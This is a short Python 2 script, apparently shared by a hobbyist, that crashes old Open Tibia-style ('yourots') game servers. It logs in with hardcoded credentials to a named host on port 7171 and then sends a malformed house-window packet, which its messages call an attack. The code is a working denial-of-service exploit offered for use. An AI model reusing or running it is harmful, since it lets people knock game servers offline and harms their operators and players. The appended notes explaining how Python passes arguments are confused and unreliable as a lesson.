Crashes old yourots servers.

simpleCrash.py

#!/usr/bin/env python
# -*- encoding=utf8 -*-
__author__ = 'Piotr "Kiro" Karkut'
__license__ = "BSD"

import socket
from struct import *
from time import sleep
import os
## IP, Account name, Password, Character Name
dane = ("selora.eu",123432,"lol123","Kiro")

def addMessageLenght(msg):
    retLen = len(msg);
    ret = msg
    ret = chr(retLen % 256)+chr(retLen / 256) + ret
    return ret

def addString(str):
    strLen = len(str)
    ret = chr(strLen % 256)+chr(strLen / 256) + str
    return ret
    
def getU32(num):
    return pack("<l",num)
    # sending login packet with acc name char name and password and finally compiling the message into the whole thing
    # could also be msg += addString etc? right? Gonna test it soon 
def getLoginPacket(num, pswdm, char):
    msg = chr(0x0A)+chr(0x02)+chr(0x00)+chr(0xF8)+chr(0x02)+chr(0x00)
    msg = msg + getU32(num)
    msg = msg + addString(char)
    msg = msg + addString(pswdm)
    msg = addMessageLenght(msg)
    return msg
    # create socket and connect to server with print that it is connecting and index of tab[0] IP being connected to
def kill(tab):
    print u">    Łączenie do", tab[0]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((tab[0], 7171))
    ##send login information acc[1] pass[2] charname[3]
    print ">>   Logowanie"
    s.send(getLoginPacket(tab[1],tab[2],tab[3]))
    sleep(1)
    #accept the response and check whether we got failed login and return printed string if so
    re = s.recv(1024)
    if len(re) == 0 or re[2] == 0x14:
        print u"::Twoja postać jest już zalogowana, zbanowana, dane są nieprawidłowe lub coś jeszcze innego"
        return
    #send houseParseWindow if logged in successfuly
    print ">>>  ATAK"
    s.send(addMessageLenght(chr(0x8a)))    
    sleep(1)
    #close connection and finalize script
    print u">>>> Rozłączenie"
    s.close()
    print "::Atak przeprowadzony"
##initialize the script and except if it is wrong ip or our firewall is blocked or connection is failed in any other way.
if __name__ == "__main__":    
    os.system("cls")
    print "::Simple crasher by Kiro\n"
    try:
        kill(dane)
    except socket.error:
        print u"::Nie można się połączyć!"

things i dont undersstand: how dane is parsed into tab[0]

dane is parsed into tab as tab is just function data that is parsed through it while in main body it is parsed as the list called dane from kill(dane)
from def kill(tab): (tab is just default call for variable within the function while dane is the real called name of the list that is parsed within it :)

parsed within it as tab because kill(dane) == kill(tab) so instead of rewriting it just renames dane into tab while within the function call. :D programming is easy!